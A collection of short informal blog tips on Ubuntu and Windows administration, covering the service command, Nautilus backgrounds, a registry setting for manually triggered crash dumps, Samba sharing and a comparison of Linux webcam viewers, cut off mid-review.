Redhat, Fedora and CentOS users and server administrators uses service * start/stop/restart/status command . Where as Ubuntu users and server administrators uses /etc/init.d/* start/stop/restart. With Ubuntu Intrepid Ibex 8.10 Ubuntu users can also use the service command to start/stop/restart the Ubuntu services. Hope this make the Redhat and other administrators little homely while using Ubuntu :P.

It is easy to customize color or pattern in folder background. I use Ubuntu, Gnome and Nautilus. To put any particular color or pattern as a background follow the following steps. In Nautilus go to Edit -> Background and Emblems You will see patterns. Drag any one of them to put it as pattern. To reset drag the pattern on top left corner with reset text. If you want to put particular color go to colors tab and drag any one of them.

Open notepad and copy the following lines. Save it as "crashWin.reg". (including the double quotes) Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\i8042prt\Parameters] "CrashOnCtrlScroll"=dword:00000001 Save and exit notepad. Or if you know how to edit the registry you can do it as in the picture below. Right click the file crashwin.reg and select merge. You will get a dialog box asking if you want to add information to registry. Select yes. You will be greeted saying the information were added successfully. Now restart the computer. After your windows boots up, press and hold Right Control key(Left control key will not work) and hit Scroll Lock key twice. Your windows will crash generating the memory dump file. P.S. This is not a bug. This is a feature provided by Microsoft to generate memory dump file.

In Ubuntu install it by opening a terminal sudo apt-get install samba Start it by sudo /etc/init.d/samba start You don't need to do this after restart as it gets started automatically on boot. Now create a password for your user sudo smbpasswd -a Share any folder and on windows computer when accessing the share use the above username and newly created password.

Yesterday I got a webcam whose driver doesn't come with Windows. Fearing to search for the driver I plugged it in my USB and lsusb showed the camera. Quickly I installed three Web camera viewing softwares, camorama, cheese and xawtv. sudo apt-get install camorama cheese xawtv Camorama Camorama had a small preview windows. I tried to preview in small and large mode but it failed. The adjustments were easy to handle. It came with quite good effects. The color correction effects produced better picture out of my dual camera. You can compare yourself the above two pictures. One of the feature of camaroma is auto capturing image. Other feature includes timestamp while capturing photo. You can even put custom message in place of timestamp. When its opened, a tray icon also comes but it has no function. XawTv Should I say I like this application or not? It worked properly but I think its UI is very poor. Instead of saying poor UI you can say its a simp...
